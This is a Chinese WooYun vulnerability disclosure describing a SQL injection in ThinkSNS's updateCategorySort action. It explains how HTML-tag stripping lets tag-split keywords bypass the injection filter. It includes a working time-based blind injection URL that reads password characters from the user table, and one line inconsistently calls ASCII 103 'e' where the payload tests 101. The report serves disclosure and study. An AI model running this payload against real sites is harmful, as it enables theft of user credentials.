当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077877

漏洞标题:ThinkSNS某处SQL注入漏洞(bypass防注入)

相关厂商:ThinkSNS

漏洞作者: error

提交时间:2014-09-30 01:35

修复时间:2014-12-26 01:36

公开时间:2014-12-26 01:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-30: 细节已通知厂商并且等待厂商处理中
2014-10-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-29: 细节向核心白帽子及相关领域专家公开
2014-12-09: 细节向普通白帽子公开
2014-12-19: 细节向实习白帽子公开
2014-12-26: 细节向公众公开

简要描述:

ThinkSNS某处存在SQL注入漏洞,并可绕过防注入,获取任意数据

详细说明:

漏洞代码:\apps\public\Lib\Action\TestAction.class.php
540行处的源码:
public function updateCategorySort()
{
$stable = t($_GET['t']);
!empty($stable) && model('CategoryTree')->setTable($stable)->updateSort();
}

0.png

代码中$stable函数代表的是表名,$stable直接使用GET方式传入:$stable = t($_GET['t']); 显然如果t函数处理不当,必然会造成SQL注入漏洞。
1)先看t函数的处理逻辑:(\core\OpenSociax\functions.inc.php 630行)
/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}
t函数实现中在addslashes处理前还会先调用real_strip_tags函数进行处理
2)看下real_strip_tags函数的实现:(\core\OpenSociax\functions.inc.php 2274行)
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}
real_strip_tags函数实现的功能是过滤掉html标签,因此t函数的实现存在绕过防注入的缺陷,比如注入时可以将s<a>elect传入t函数,在经过real_strip_tags函数后s<a>elect就会被转化为select,进而绕过SQL注入的关键字正则匹配检测。
因此可以构造如下Payload进行盲注:
/index.php?app=public&mod=Test&act=updateCategorySort&t=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING(PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT/**/1)=101,S<a>LEEP(2.02),0)%23
如果ASCII(SUBSTRING(PASSWORD,1,1)) = 103即字符e ,那么就会执行sleep(2.02),每次执行后需要更改sleep的时间,不然会有缓存,导致不会有sleep的效果,这里可以使用sleep(2.03)、sleep(2.04)这种递增小数位的办法来绕过缓存。

漏洞证明:

利用证明:(本地测试)
http://127.0.0.1/thinksns-V3.1/index.php?app=public&mod=Test&act=updateCategorySort&t=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING(PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT 1)=101,1=S<a>LEEP(2.02),0)%23

1.png

Mysql日志输出如下:

2.png

15 Query SHOW COLUMNS FROM ts_user/**/where/**/if((select/**/ascii(substring(password,1,1))from/**/ts_user/**/limit 1)=101,sleep(2.02),0)#
成功绕过防注入进行时间延迟盲注。。

修复方案:

加强过滤逻辑

版权声明:转载请注明来源 error@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-26 01:36

厂商回复:

最新状态:

2014-10-05:来晚,抱歉!